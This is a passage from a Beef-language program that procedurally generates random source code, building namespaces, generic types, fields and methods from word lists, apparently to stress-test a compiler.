15.0f;\n\n        public float mFieldCountPower = 1.2f;\n        public float mFieldCountScalar = 12.0f;\n        public float mFieldStaticPct = 0.2f;\n\n        public float mVoidReturnPct = 0.6f;\n        public float mMethodCodeComplexityPower = 2.0f;\n\t\tpublic float mMethodLengthScalar = 100.0f;\n        public float mMethodCountScalar = 300.0f; //2000.0f;//300.0f;\n        public float mAssignMemberPct = 0.3f;\n        public float mCreateLocalPct = 0.3f;\n        \n        public float mParamCountPower = 3.0f;\n        public float mParamCountScalar = 5.0f;\n\n        public float mNewSpacespaceChance = 0.2f; // Chance a class will generate a new namespace vs using an existing one\n        public float mRootNamespaceChance = 0.1f; // Chance we will create root namespace vs adding to an existing one\n    }\n\n    class WordGroup\n    {\n        public List<String>[] mWords ~\n\t\t{\n\t\t\tfor (var list in mWords)\n\t\t\t\tDeleteContainerAndItems!(list);\n\t\t\tdelete _;\n\t\t};\n        public HashSet<String> mUsedNames = new HashSet<String>() ~ DeleteContainerAndItems!(_);\n\n        public void GetName(float complexity, int parts, bool firstUpper, String outName)\n        {\n            int listNum = (int)(complexity * 3.999f);\n\n\t\t\tvar parts;\n            for (int tryCount = 0; true; tryCount++)\n            {\n                if (tryCount > 4)\n                    parts++;\n\n                for (int namePartIdx = 0; namePartIdx < parts; namePartIdx++)\n                {\n                    int idx = Program.sRand.Next(mWords[listNum].Count);\n                    String namePart = scope String(mWords[listNum][idx]);\n                    if ((firstUpper) || (namePartIdx > 0))\n\t\t\t\t\t\tnamePart[0] = namePart[0].ToUpper;\n                    outName.Append(namePart);\n                }\n\n                if (mUsedNames.Contains(outName))\n                    continue;\n                mUsedNames.Add(new String(outName));\n                return;\n            }\n        }\n    }\n    \n    class LocalDef\n    {\n        public String mName ~ delete _;\n        public TypeDef mTypeDef;\n    }    \n\n    class MethodDef\n    {\n        public String mName ~ delete _;\n        public int mParamCount;\n        public TypeDef mReturnType;\n        public List<LocalDef> mLocals = new List<LocalDef>() ~ DeleteContainerAndItems!(_);\n        public float mComplexity;\n        public int mStatementCount;\n\t\tpublic bool mIsStatic;\n    }\n\n    class FieldDef\n    {\n        public String mName ~ delete _;\n        public TypeDef mTypeDef;\n        public bool mIsStatic;\n    }    \n\n    class TypeDef\n    {\n        public NamespaceDef mNamespace;        \n        public String mName ~ delete _;\n        public float mComplexity;\n        public bool mIsPrimitive;\n        public int mGenericParamIdx = -1;\n        public bool mIsStruct;\n        public int mUseCount;\n\n        public bool mIsSpecializedGeneric;\n        public bool mIsUnspecializedGeneric;\n        public List<TypeDef> mGenericParams ~ delete _;\n\n        public HashSet<NamespaceDef> mUsingNamespaces = new HashSet<NamespaceDef>() ~ delete _;\n        public List<FieldDef> mFields = new List<FieldDef>() ~ DeleteContainerAndItems!(_);\n        public List<MethodDef> mMethods = new List<MethodDef>() ~ DeleteContainerAndItems!(_);\n        \n        public List<TypeDef> mTypeDefPool = new List<TypeDef>() ~ delete _; // We only refer to types in this pool\n\n        public void GetRootName(String outStr)\n        {\n            int ltPos = mName.IndexOf('<');\n            if (ltPos == -1)\n\t\t\t{\n\t\t\t\toutStr.Append(mName);\n                return;\n\t\t\t}\n\t\t\toutStr.Append(mName, 0, ltPos);\n        }\n\n        public void GetFullName(String outStr)\n        {\n            if (mNamespace == null)\n            {\n\t\t\t\toutStr.Append(mName);\n\t\t\t\treturn;\n\t\t\t}\n            mNamespace.GetFullName(outStr);\n\t\t\toutStr.Append(\".\", mName);\n        }\n    }\n\n    class NamespaceDef\n    {\n        public NamespaceDef mParent;\n        public String mName ~ delete _;\n        public List<NamespaceDef> mChildren = new List<NamespaceDef>() ~ delete _;\n\n        public void GetFullName(String outStr)\n        {\n            if (mParent != null)\n\t\t\t{\n\t\t\t\tmParent.GetFullName(outStr);\n\t\t\t\toutStr.Append(\".\");\n\t\t\t}\n            outStr.Append(mName);\n        }\n    }\n\n    class Program\n    {       \n        public static Random sRand ~ delete _;\n        int mSeed;\n\n        Config mConfig = new Config() ~ delete _;\n        String mBaseDir = new String(\"src\") ~ delete _;\n        WordGroup mAdjList ~ delete _;\n        WordGroup mAdvList ~ delete _;\n        WordGroup mNounList ~ delete _;\n        WordGroup mVerbList ~ delete _;\n\t\tbool mIsCompat = true;\n\n        TypeDef mCurTypeDef;\n        MethodDef mCurMethodDef;\n        List<NamespaceDef> mNamespaces = new List<NamespaceDef>() ~ DeleteContainerAndItems!(_);\n        TypeDef mVoidType ~ delete _;\n        List<TypeDef> mPrimitives = new List<TypeDef>() ~ DeleteContainerAndItems!(_);\n        List<TypeDef> mUserTypes = new List<TypeDef>() ~ DeleteContainerAndItems!(_);\n\t\tList<TypeDef> mOtherTypes = new List<TypeDef>() ~ DeleteContainerAndItems!(_);\n\n\t\tbool mVerbose;\n        int mLineCount;\n        bool mWroteLine;\n        String mQueuedText = new String() ~ delete _;\n        int mIndentCount;\n        int mStartIndentCount;\n\n        this()\n        {\n            //mSeed = (scope Random()).Next() % 100000;\n            mSeed = 92968;\n            Console.WriteLine(\"Random seed: {0}\", mSeed);\n            sRand = new Random(mSeed);\n        }\n\n        WordGroup CreateWordGroup(String name)\n        {                        \n            WordGroup wordGroup = new WordGroup();\n            wordGroup.mWords = new List<String>[4];\n            for (int i = 0; i < 4; i++)\n            {\n                wordGroup.mWords[i] = new List<String>();\n\n\t\t\t\tStreamReader file = scope StreamReader();\n\n\t\t\t\tvar filePath = scope String();\n\n\t\t\t\tvar exePath = scope String();\n\t\t\t\tEnvironment.GetExecutableFilePath(exePath);\n\t\t\t\tPath.GetDirectoryPath(exePath, filePath);\n\t\t\t\t\n\t\t\t\tfilePath.AppendF(\"/data/{0}{1}.txt\", i + 1, name);\n\n\t\t\t\tif (file.Open(filePath) case .Err)\n\t\t\t\t\tcontinue;\n\n                while (!file.EndOfStream)\n                {\n                    String line = scope String();\n\t\t\t\t\tfile.ReadLine(line);\n                    bool isOnlyLetters = true;\n                    for (char8 c in line.RawChars)\n                        if (!c.IsLetter)\n                            isOnlyLetters = false;\n                    if (isOnlyLetters)\n                        wordGroup.mWords[i].Add(new String(line));\n                }\n            }\n            return wordGroup;\n        }\n\n        void CreatePrimitives()\n        {\n            mVoidType = new TypeDef();\n            mVoidType.mName = new String(\"void\");\n            mVoidType.mIsPrimitive = true;\n\n            String[] typeNames;\n\t\t\tif (mIsCompat)\n\t\t\t\ttypeNames = scope:: .[] ( \"int\", \"uint\", \"int\", \"float\", \"double\" );\n\t\t\telse\n\t\t\t\ttypeNames = scope:: .[] ( \"int\", \"int16\", \"int32\", \"int64\", \"float\", \"double\" );\n\n            for (var typeName in typeNames)\n            {\n                TypeDef typeDef = new TypeDef();\n                typeDef.mName = new String(typeName);\n                typeDef.mIsPrimitive = true;\n                mPrimitives.Add(typeDef);\n            }\n        }\n\n        float GetComplexity(float power)\n        {\n            return (float)Math.Pow(sRand.NextDouble(), power);\n        }\n\n        // Must return either a primitive type or a typedef whose name occurs alphabetically before the current type\n        TypeDef GetRandomTypeDef()\n        {\n            bool wantPrimitive = sRand.NextDouble() < mConfig.mPrimitiveTypeChance;\n            if ((!wantPrimitive) && (mUserTypes.Count > 0))\n            {\n                for (int tryCount = 0; tryCount < 4; tryCount++)\n                {\n                    TypeDef checkTypeDef = mUserTypes[sRand.Next(mUserTypes.Count)];\n                    if (checkTypeDef.mIsUnspecializedGeneric)\n                        continue;\n                    if (mCurTypeDef == null)\n                        return checkTypeDef;\n                    if (checkTypeDef.mName.CompareTo(mCurTypeDef.mName) < 0)\n                        return checkTypeDef;                    \n                }\n            }\n            return mPrimitives[sRand.Next(mPrimitives.Count)];\n        }\n\n        TypeDef GetRandomPooledTypeDef()\n        {\n            return mCurTypeDef.mTypeDefPool[sRand.Next(mCurTypeDef.mTypeDefPool.Count)];\n        }\n\n        void GenerateType()\n        {\n            float typeComplexity = GetComplexity(mConfig.mTypeComplexityPower);\n            String className = new String();\n\t\t\tmNounList.GetName(typeComplexity, 2, true, className);\n\n            TypeDef typeDef = new TypeDef();\n            typeDef.mName = className;\n            typeDef.mComplexity = typeComplexity;\n            mCurTypeDef = typeDef;\n\n            typeDef.mIsUnspecializedGeneric = sRand.NextDouble() < mConfig.mCreateGenericTypePct;\n            if (typeDef.mIsUnspecializedGeneric)\n            {\n                typeDef.mGenericParams = new List<TypeDef>();\n                int genericCount = (int)(1.0f + GetComplexity(3.0f) * 3.5f);\n                typeDef.mName.Append(\"<\");\n                for (int genericIdx = 0; genericIdx < genericCount; genericIdx++)\n                {\n                    TypeDef genericType = new TypeDef();\n                    genericType.mGenericParamIdx = genericIdx;\n                    genericType.mName = new String();\n\t\t\t\t\tgenericType.mName.Append(\"T\");\n\t\t\t\t\tmOtherTypes.Add(genericType);\n\n\t\t\t\t\tmAdvList.GetName(0, 1, true, genericType.mName);\n\n                    if (genericIdx > 0)\n                        typeDef.mName.Append(\", \");\n                    typeDef.mName.Append(genericType.mName);\n\n                    typeDef.mGenericParams.Add(genericType);\n                    typeDef.mTypeDefPool.Add(genericType);\n                }\n                typeDef.mName.Append(\">\");\n            }\n\n            typeDef.mIsStruct = sRand.NextDouble() < mConfig.mStructPct;            \n             \n            if ((mNamespaces.Count == 0) || (sRand.NextDouble() < mConfig.mNewSpacespaceChance))\n            {\n                NamespaceDef newNamespace = new NamespaceDef();\n                newNamespace.mName = new String();\n\t\t\t\tmAdjList.GetName((float)sRand.NextDouble(), 1, true, newNamespace.mName);\n\n                if ((mNamespaces.Count > 0) && (sRand.NextDouble() >= mConfig.mRootNamespaceChance))\n                {\n                    NamespaceDef parentNamepace = mNamespaces[sRand.Next(mNamespaces.Count)];\n                    parentNamepace.mChildren.Add(newNamespace);\n                    newNamespace.mParent = parentNamepace;\n                }\n\n                mNamespaces.Add(newNamespace);\n                typeDef.mNamespace = newNamespace;\n            }\n            else\n            {\n                typeDef.mNamespace = mNamespaces[sRand.Next(mNamespaces.Count)];\n            }\n            \n            mUserTypes.Add(typeDef);\n        }\n\n        void CreateTypePool(TypeDef typeDef, int poolSize)\n        {\n            for (int poolIdx = 0; poolIdx < poolSize; poolIdx++)\n            {\n                TypeDef poolTypeDef = GetRandomTypeDef();\n                ReferenceType(poolTypeDef);\n                poolTypeDef.mUseCount++;\n                typeDef.mTypeDefPool.Add(poolTypeDef);\n            }\n        }\n\n        void PopulateType(TypeDef typeDef)\n        {\n            mCurTypeDef = typeDef;\n\n            int poolSize = (int)(GetComplexity(mConfig.mTypeDefPoolPower) * mConfig.mTypeDefPoolScalar + mConfig.mTypeDefPoolOffset);\n            CreateTypePool(typeDef, poolSize);\n            \n            int fieldCount = (int)(GetComplexity(mConfig.mFieldCountPower) * mConfig.mFieldCountScalar);\n            if (typeDef.mIsStruct)\n                fieldCount++;\n            for (int fieldIdx = 0; fieldIdx < fieldCount; fieldIdx++)\n            {\n                FieldDef fieldDef = new FieldDef();\n                fieldDef.mIsStatic = sRand.NextDouble() < mConfig.mFieldStaticPct;\n\n                // Just to make sure structs have at least one non-static member\n                if (fieldIdx == 0)\n                    fieldDef.mIsStatic = false;\n\n                // Generic statics don't currently work\n                if (typeDef.mGenericParams != null)\n                    fieldDef.mIsStatic = false;\n\n                if (fieldDef.mIsStatic)\n                {\n\t\t\t\t\tfieldDef.mName = new String(\"s\");\n\t\t\t\t\tmNounList.GetName((float)sRand.NextDouble(), 1, true, fieldDef.mName);\n\t\t\t\t}\n                else\n\t\t\t\t{\n                    fieldDef.mName = new String(\"m\");\n\t\t\t\t\tmNounList.GetName((float)sRand.NextDouble(), 1, true, fieldDef.mName);\n\t\t\t\t}\n                \n                fieldDef.mTypeDef = GetRandomPooledTypeDef();\n                typeDef.mFields.Add(fieldDef);\n            }\n\n            for (int methodIdx = 0; methodIdx < (int)(typeDef.mComplexity * mConfig.mMethodCountScalar); methodIdx++)\n            {\n                MethodDef methodDef = new MethodDef();\n\n                mCurMethodDef = methodDef;\n                float methodComplexity = GetComplexity(mConfig.mMethodCodeComplexityPower);\n                methodDef.mName = new String();\n\t\t\t\tmVerbList.GetName(methodComplexity, 2, true, methodDef.mName);\n                methodDef.mComplexity = methodComplexity;\n                \n                if (sRand.NextDouble() < mConfig.mVoidReturnPct)\n                    methodDef.mReturnType = mVoidType;\n                else\n                    methodDef.mReturnType = GetRandomPooledTypeDef();\n\n                int paramCount = (int)(GetComplexity(mConfig.mParamCountPower) * mConfig.mParamCountScalar);\n                for (int paramIdx = 0; paramIdx < paramCount; paramIdx++)\n                {\n                    LocalDef localDef = new LocalDef();\n                    localDef.mName = new String();\n\t\t\t\t\tmNounList.GetName((float)sRand.NextDouble(), 1, false, localDef.mName);\n                    localDef.mTypeDef = GetRandomPooledTypeDef();\n                    methodDef.mLocals.Add(localDef);\n                    methodDef.mParamCount++;\n                }\n\n                typeDef.mMethods.Add(methodDef);\n            }\n\n\t\t\tMethodDef methodDef = new MethodDef();\n\t\t\tmethodDef.mIsStatic = true;\n\t\t\tmethodDef.mName = new String(\"Use\");\n\t\t\tmethodDef.mReturnType = mVoidType;\n\t\t\ttypeDef.mMethods.Add(methodDef);\n        }\n\n        void DelTree(StringView dirName)\n        {\n\t\t\tDebug.Assert(!dirName.IsEmpty);\n\n\t\t\tif (!Directory.Exists(dirName))\n\t\t\t\treturn;\n\n            for (var subDir in Directory.EnumerateDirectories(dirName))\n            {\n\t\t\t\tvar filePath = scope String();\n\t\t\t\tsubDir.GetFilePath(filePath);\n                DelTree(filePath);\n            }\n\n            for (var file in Directory.EnumerateFiles(dirName))\n            {\n\t\t\t\tvar filePath = scope String();\n\t\t\t\tfile.GetFilePath(filePath);\n                if (filePath.EndsWith(\".bf\"))\n                {\n                    File.Delete(filePath);\n                }\n            }\n        \n            Directory.Delete(dirName);\n        }\n\n        FieldDef FindField(TypeDef inside, TypeDef wantTypeDef)\n        {\n            for (var field in inside.mFields)\n            {\n                if (field.mTypeDef == wantTypeDef)\n                {\n                    if (field.mName == \"sTar\")\n                    {\n                        NOP!();\n                    }\n                    return field;\n                }\n            }\n            return null;\n        }\n\n        void FindData(TypeDef typeDef, String outStr)\n        {\n            for (int pass = 0; pass < 10; pass++)\n            {\n                int targetCategory = (int)(GetComplexity(1.0f) * 3);\n                \n                if (targetCategory == 0) // 'This'\n                {\n                    if (typeDef == mCurTypeDef)\n                    {\n\t\t\t\t\t\toutStr.Append(\"this\");\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n                }\n\n                if ((targetCategory == 1) && (mCurTypeDef.mFields.Count > 0)) // Field\n                {\n                    var fieldDef = mCurTypeDef.mFields[(int)(sRand.NextDouble() * mCurTypeDef.mFields.Count)];\n                    if (fieldDef.mTypeDef == typeDef)\n\t\t\t\t\t{\n                        outStr.Append(fieldDef.mName);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n                    FieldDef subFieldDef = FindField(fieldDef.mTypeDef, typeDef);\n                    if (subFieldDef != null)\n                    {\n                        if (subFieldDef.mName == \"sTar\")\n                        {\n                            \n                        }\n\n                        if (subFieldDef.mIsStatic)\n\t\t\t\t\t\t{\n                            outStr.Append(fieldDef.mTypeDef.mName, \".\", subFieldDef.mName);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n                        else\n\t\t\t\t\t\t{\n                            outStr.Append(fieldDef.mName, \".\", subFieldDef.mName);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n                    }\n                }\n\n                if ((targetCategory == 2) && (mCurMethodDef.mLocals.Count > 0)) // Param / Local\n                {\n                    var localDef = mCurMethodDef.mLocals[(int)(sRand.NextDouble() * mCurMethodDef.mLocals.Count)];\n                    if (localDef.mTypeDef == typeDef)\n\t\t\t\t\t{\n                        outStr.Append(localDef.mName);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n                    FieldDef subFieldDef = FindField(localDef.mTypeDef, typeDef);\n                    if (subFieldDef != null)\n                    {\n                        if (subFieldDef.mIsStatic)\n\t\t\t\t\t\t{\n                            outStr.Append(localDef.mTypeDef.mName, \".\", subFieldDef.mName);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n                        else\n\t\t\t\t\t\t{\n                            outStr.Append(localDef.mName, \".\", subFieldDef.mName);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n                    }\n                }\n            }\n\n            if (typeDef.mIsPrimitive)\n\t\t\t{\n                outStr.Append(\"0\");\n\t\t\t\treturn;\n\t\t\t}\n            if ((!typeDef.mIsStruct) && (typeDef.mGenericParamIdx == -1))\n\t\t\t{\n\t\t\t\toutStr.Append(\"null\");\n\t\t\t\treturn;\n\t\t\t}\n        }\n\n        void WriteLine()\n        {\n            WriteLine(\"\");\n        }\n\n        void WriteLine(String str)\n        {\n            mLineCount++;\n            mWroteLine = true;\n            for (int i = 0; i < mIndentCount; i++)\n                mQueuedText.Append(\"\\t\");\n            mQueuedText.Append(str, \"\\n\");\n        }\n\n        void WriteLine(String str, params Object[] args)\n        {                       \n            WriteLine(scope String()..AppendF(str, params args));\n        }\n\n        void ReferenceType(TypeDef typeDef)\n        {\n            if (typeDef.mNamespace != null)\n                mCurTypeDef.mUsingNamespaces.Add(typeDef.mNamespace);\n            if (typeDef.mGenericParams != null)\n            {\n                for (var genericParam in typeDef.mGenericParams)\n                    ReferenceType(genericParam);\n            }\n        }\n\n        String GetRandomTarget(out TypeDef targetType)\n        {\n            int targetCategory = (int)(GetComplexity(1.0f) * 3);\n\n            if (targetCategory == 0) // 'This'\n            {                \n                targetType = mCurTypeDef;\n                return \"\";\n            }\n\n            if ((targetCategory == 1) && (mCurTypeDef.mFields.Count > 0)) // Field\n            {\n                var fieldDef = mCurTypeDef.mFields[(int)(sRand.NextDouble() * mCurTypeDef.mFields.Count)];                \n                targetType = fieldDef.mTypeDef;\n                return fieldDef.mName;\n            }\n\n            if ((targetCategory == 2) && (mCurMethodDef.mLocals.Count > 0)) // Param / Local\n            {\n                var localDef = mCurMethodDef.mLocals[(int)(sRand.NextDouble() * mCurMethodDef.mLocals.Count)];                \n                targetType = localDef.mTypeDef;\n                return localDef.mName;\n            }\n\n            targetType = null;\n            return null;\n        }\n\n        MethodDef GenerateMethodCall(String methodTarget, TypeDef targetType)\n        {\n            if (targetType != null)\n            {\n                if (targetType.mMethods.Count > 0)\n                {\n                    var methodDef = targetType.mMethods[sRand.Next(targetType.mMethods.Count)];\n\t\t\t\t\tif (methodDef.mIsStatic)\n\t\t\t\t\t\treturn null;\n\n                    String[] targets = scope String[methodDef.mParamCount];\n                    bool paramsMatch = true;\n                    for (int paramIdx = 0; paramIdx < methodDef.mParamCount; paramIdx++)\n                    {\n                        var paramDef = methodDef.mLocals[paramIdx];\n                        targets[paramIdx] = scope:: String();\n\t\t\t\t\t\tFindData(paramDef.mTypeDef, targets[paramIdx]);\n                        if (targets[paramIdx].IsEmpty)\n                            paramsMatch = false;\n                    }\n\n                    if (paramsMatch)\n                    {\n                        String str = scope String();\n\n                        bool didAssign = false;\n                        if (sRand.NextDouble() < mConfig.mAssignMemberPct)\n                        {\n                            for (var fieldDef in mCurTypeDef.mFields)\n                            {\n                                if (fieldDef.mTypeDef == methodDef.mReturnType)\n                                {\n                                    str.Append(fieldDef.mName, \" = \");\n                                    didAssign = true;\n                                    break;\n                                }\n                            }\n                        }\n\n                        if ((!didAssign) && (sRand.NextDouble() < mConfig.mCreateLocalPct) && (methodDef.mReturnType != mVoidType))\n                        {\n                            ReferenceType(methodDef.mReturnType);\n\n                            LocalDef localDef = new LocalDef();\n                            localDef.mName = new String();\n\t\t\t\t\t\t\tmNounList.GetName((float)sRand.NextDouble(), 1, false, localDef.mName);\n                            localDef.mTypeDef = methodDef.mReturnType;\n                            mCurMethodDef.mLocals.Add(localDef);\n                            str.Append(localDef.mTypeDef.mName);\n                            str.Append(\" \");\n                            str.Append(localDef.mName);\n                            str.Append(\" = \");\n                        }\n\n                        str.Append(methodTarget);\n                        if (methodTarget != \"\")\n                            str.Append(\".\");\n                        str.Append(methodDef.mName);\n                        str.Append(\"(\");\n                        for (int paramIdx = 0; paramIdx < methodDef.mParamCount; paramIdx++)\n                        {\n                            if (paramIdx > 0)\n                                str.Append(\", \");\n                            str.Append(targets[paramIdx]);\n                        }\n                        str.Append(\");\");\n                        WriteLine(str);\n                        return methodDef;\n                    }\n                }\n            }\n\n            return null;\n        }\n\n        MethodDef GenerateMethodCall()\n        {            \n            TypeDef targetType = null;\n            String methodTarget = GetRandomTarget(out targetType);\n            return GenerateMethodCall(methodTarget, targetType);  \n        }\n\n        void PopLocal()\n        {            \n            var localDef = mCurMethodDef.mLocals.PopBack();\n\t\t\tdelete localDef;\n        }\n\n        void GetBoolExpression(String outStr)\n        {\n            TypeDef targetType;\n            String checkTarget = GetRandomTarget(out targetType);\n            if (checkTarget == null)\n                return;\n            if (checkTarget == \"\")\n                checkTarget = \"this\";\n\n            if (targetType.mIsStruct)\n                return;\n            if (targetType.mGenericParamIdx != -1)\n                return;\n\n            String rhs = scope String();\n\t\t\tFindData(targetType, rhs);\n            if ((rhs != null) && (checkTarget != rhs))\n            {\n\t\t\t\toutStr.Append(checkTarget, \" != \", rhs);\n\t\t\t\treturn;\n\t\t\t}\n\n            if (targetType.mIsPrimitive)\n            {\n\t\t\t\toutStr.Append(checkTarget, \" != 0\");\n\t\t\t\treturn;\n\t\t\t}\n            outStr.Append(checkTarget, \" != null\");\n        }\n\n        void GenerateMainBlock()\n        {\n            WriteLine(\"{\");\n            mIndentCount++;\n\n            for (var pooledType in mUserTypes)\n            {\n\t\t\t\tif (pooledType.mIsPrimitive)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (pooledType.mIsUnspecializedGeneric)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (pooledType.mName == \"Program\")\n\t\t\t\t\tcontinue;\n\n\t\t\t\tvar line = scope String();\n\t\t\t\tpooledType.GetFullName(line);\n\t\t\t\tline.Append(\".Use();\");\n\t\t\t\tWriteLine(line);\n            }\n\t\t\tWriteLine(\"return 0;\");\n            mIndentCount--;\n            WriteLine(\"}\");\n        }\n\n\t\tvoid GenerateUseBlock()\n\t\t{\n\t\t    WriteLine(\"{\");\n\t\t    mIndentCount++;\n\n\t\t\tvar line = scope String();\n\t\t\tmCurTypeDef.GetFullName(line);\n\n\t\t\tline.Append(\" val = \");\n\t\t\tif (!mCurTypeDef.mIsStruct)\n\t\t\t\tline.Append(\"new \");\n\t\t\tmCurTypeDef.GetFullName(line);\n\n\t\t\tline.Append(\"();\");\n\n\t\t\tWriteLine(line);\n\n\t\t\tfor (var method in mCurTypeDef.mMethods)\n\t\t\t{\n\t\t\t\tif (method.mIsStatic)\n\t\t\t\t\tcontinue;\n\t\t\t\tline.Clear();\n\t\t\t\tline.Append(\"val.\", method.mName);\n\t\t\t\tline.Append(\"(\");\n\t\t\t\tfor (int argIdx < method.mParamCount)\n\t\t\t\t{\n\t\t\t\t\tif (argIdx > 0)\n\t\t\t\t\t\tline.Append(\", \");\n\t\t\t\t\tline.Append(\"default\");\n\t\t\t\t}\n\t\t\t\tline.Append(\");\");\n\t\t\t\tWriteLine(line);\n\t\t\t}\n\n\t\t\tmIndentCount--;\n\t\t\tWriteLine(\"}\");\n\t\t}\n\n        void GenerateBlock()\n        {\n            int prevLocalIdx = mCurMethodDef.mLocals.Count;\n\n            WriteLine(\"{\");\n            mIndentCount++;\n\n\t\t\tint methodLength = (int)(mCurMethodDef.mComplexity * mConfig.mMethodLengthScalar);\n\n            mWroteLine = false;\n            //while (true)\n\t\t\tfor (int stmtIdx < methodLength)\n            {\n                /*if (mCurMethodDef.mStatementCount > 0)\n                    mCurMethodDef.mStatementCount--;\n                else if ((mWroteLine) && ((0.93 + mCurMethodDef.mComplexity * 0.03) < sRand.NextDouble()))\n                    break;*/\n\n                if (sRand.NextDouble() < 0.5f)\n                {\n                    GenerateMethodCall();                    \n                }\n                \n                if (sRand.NextDouble() < 0.05f / mIndentCount)\n                {\n                    String localVarName = new String()..AppendF(\"{0}\", (char8)('i' + mIndentCount - 3));\n                    \n                    String toVal = scope String();\n\t\t\t\t\tFindData(mPrimitives[0], toVal);\n                    if (toVal.IsEmpty)\n                    {\n\t\t\t\t\t\ttoVal = scope:: String();\n\t\t\t\t\t\tsRand.Next(1000).ToString(toVal);\n\t\t\t\t\t}\n\n                    LocalDef localDef = new LocalDef();\n                    localDef.mName = localVarName;\n                    localDef.mTypeDef = mPrimitives[0];\n                    mCurMethodDef.mLocals.Add(localDef);\n\n                    WriteLine(\"for (int {0} = 0; {0} < {1}; {0}++)\", localVarName, toVal);\n                    GenerateBlock();\n\n                    PopLocal();\n                }\n\n                if (sRand.NextDouble() < 0.05f / mIndentCount)\n                {\n                    String boolExpr = scope String();\n\t\t\t\t\tGetBoolExpression(boolExpr);\n                    if (!boolExpr.IsEmpty)\n                    {\n                        WriteLine(\"if ({0})\", boolExpr);\n                        GenerateBlock();\n                        if (sRand.NextDouble() < 0.35f)\n                        {\n                            WriteLine(\"else\");\n                            GenerateBlock();\n                        }\n                    }\n                }\n            }\n\n            if (mIndentCount == mStartIndentCount + 1)\n            {\n                if (mCurMethodDef.mReturnType.mName != \"void\")\n                {\n                    String retValName = scope String();\n\t\t\t\t\tFindData(mCurMethodDef.mReturnType, retValName);\n                    if (retValName.IsEmpty)\n                        retValName.Append(\"default(\", mCurMethodDef.mReturnType.mName, \")\");\n                    WriteLine(\"return {0};\", retValName);\n                }\n            }\n\n            mIndentCount--;\n            WriteLine(\"}\");\n\n            while (mCurMethodDef.mLocals.Count > prevLocalIdx)\n                PopLocal();\n        }\n\n        TypeDef FixType(TypeDef typeDef)\n        {\n            if (typeDef.mGenericParamIdx != -1)\n                return mCurTypeDef.mGenericParams[typeDef.mGenericParamIdx];\n            return typeDef;\n        }\n\n        void SpecializeType(TypeDef unspecializedType)\n        {\n            TypeDef specializedType = new TypeDef();\n            mCurTypeDef = specializedType;\n            specializedType.mName = new String();\n\t\t\tunspecializedType.GetRootName(specializedType.mName);\n            specializedType.mIsSpecializedGeneric = true;\n            specializedType.mGenericParams = new List<TypeDef>();\n            specializedType.mIsStruct = unspecializedType.mIsStruct;\n            specializedType.mNamespace = unspecializedType.mNamespace;\n            specializedType.mName.Append(\"<\");\n            for (int genericIdx = 0; genericIdx < unspecializedType.mGenericParams.Count; genericIdx++)                \n            {\n                if (genericIdx > 0)\n                    specializedType.mName.Append(\", \");\n                var genericArg = GetRandomTypeDef();\n                //specializedType.mName.Append(genericArg.mName);\n\t\t\t\tgenericArg.GetFullName(specializedType.mName);\n                specializedType.mGenericParams.Add(genericArg);\n            }\n            specializedType.mName.Append(\">\");\n\n            for (var srcFieldDef in unspecializedType.mFields)\n            {\n                FieldDef destFieldDef = new FieldDef();\n                destFieldDef.mName = new String(srcFieldDef.mName);\n                destFieldDef.mTypeDef = FixType(srcFieldDef.mTypeDef);\n                destFieldDef.mIsStatic = srcFieldDef.mIsStatic;\n                specializedType.mFields.Add(destFieldDef);\n            }\n\n            for (var srcMethodDef in specializedType.mMethods)\n            {\n                MethodDef destMethodDef = new MethodDef();\n                destMethodDef.mName = new String(srcMethodDef.mName);\n                destMethodDef.mReturnType = FixType(srcMethodDef.mReturnType);\n                destMethodDef.mParamCount = srcMethodDef.mParamCount;\n                for (var localDef in srcMethodDef.mLocals)\n                {\n                    LocalDef destLocalDef = new LocalDef();\n                    destLocalDef.mName = new String(localDef.mName);\n                    destLocalDef.mTypeDef = FixType(localDef.mTypeDef);\n                    destMethodDef.mLocals.Add(destLocalDef);\n                }\n                specializedType.mMethods.Add(destMethodDef);\n            }\n            mUserTypes.Add(specializedType);\n        }\n\n\t\tvoid ProgressStart()\n\t\t{\n\t\t\tif (cProgressSize > 0)\n\t\t\t{\n\t\t\t\tString str = scope String();\n\t\t\t\tstr.Append(\"[\");\n\t\t\t\tstr.Append(' ', cProgressSize);\n\t\t\t\tstr.Append(\"]\");\n\t\t\t\tstr.Append('\\b', cProgressSize + 1);\n\t\t\t\tConsole.Write(str);\n\t\t\t}\n\t\t}\n\n\t\tint mProgressIdx = 0;\n\t\tvoid WriteProgress(float pct)\n\t\t{\n\t\t\tint progressIdx = (int)Math.Round(pct * cProgressSize);\n\t\t\twhile (progressIdx > mProgressIdx)\n\t\t\t{\n\t\t\t\tmProgressIdx++;\n\t\t\t\tConsole.Write(\"*\");\n\t\t\t}\n\t\t}\n\n\t\tconst int cProgressSize = 30;\n\n        void Run()\n        {\n            CreatePrimitives();\n\n            DelTree(mBaseDir);\n\n            mAdjList = CreateWordGroup(\"adj\");\n            mAdvList = CreateWordGroup(\"adv\");\n            mNounList = CreateWordGroup(\"noun\");\n            mVerbList = CreateWordGroup(\"verb\");\n\n            for (int typeIdx = 0; typeIdx < mConfig.mTypeCount; typeIdx++)\n                GenerateType();\n            \n            for (int typeIdx = 0; typeIdx < mUserTypes.Count; typeIdx++ )\n            {\n                TypeDef typeDef = mUserTypes[typeIdx];                                \n                if (typeDef.mIsUnspecializedGeneric)\n                {\n                    PopulateType(typeDef);\n                    int specializeCount = (int)(GetComplexity(mConfig.mSpecializedTypePower) * mConfig.mUnspecializedTypeScalar);\n                    for (int specializedIdx = 0; specializedIdx < specializeCount; specializedIdx++)\n                        SpecializeType(typeDef);\n                }\n            }\n\n            for (int typeIdx = 0; typeIdx < mUserTypes.Count; typeIdx++)\n            {\n                TypeDef typeDef = mUserTypes[typeIdx];\n                if ((!typeDef.mIsUnspecializedGeneric) && (!typeDef.mIsSpecializedGeneric))\n                    PopulateType(typeDef);\n            }\n\n            {\n                TypeDef typeDef = new TypeDef();\n                typeDef.mName = new String(\"Program\");\n\n                MethodDef methodDef = new MethodDef();\n                methodDef.mName = new String(\"Main\");\n\t\t\t\tmethodDef.mParamCount = 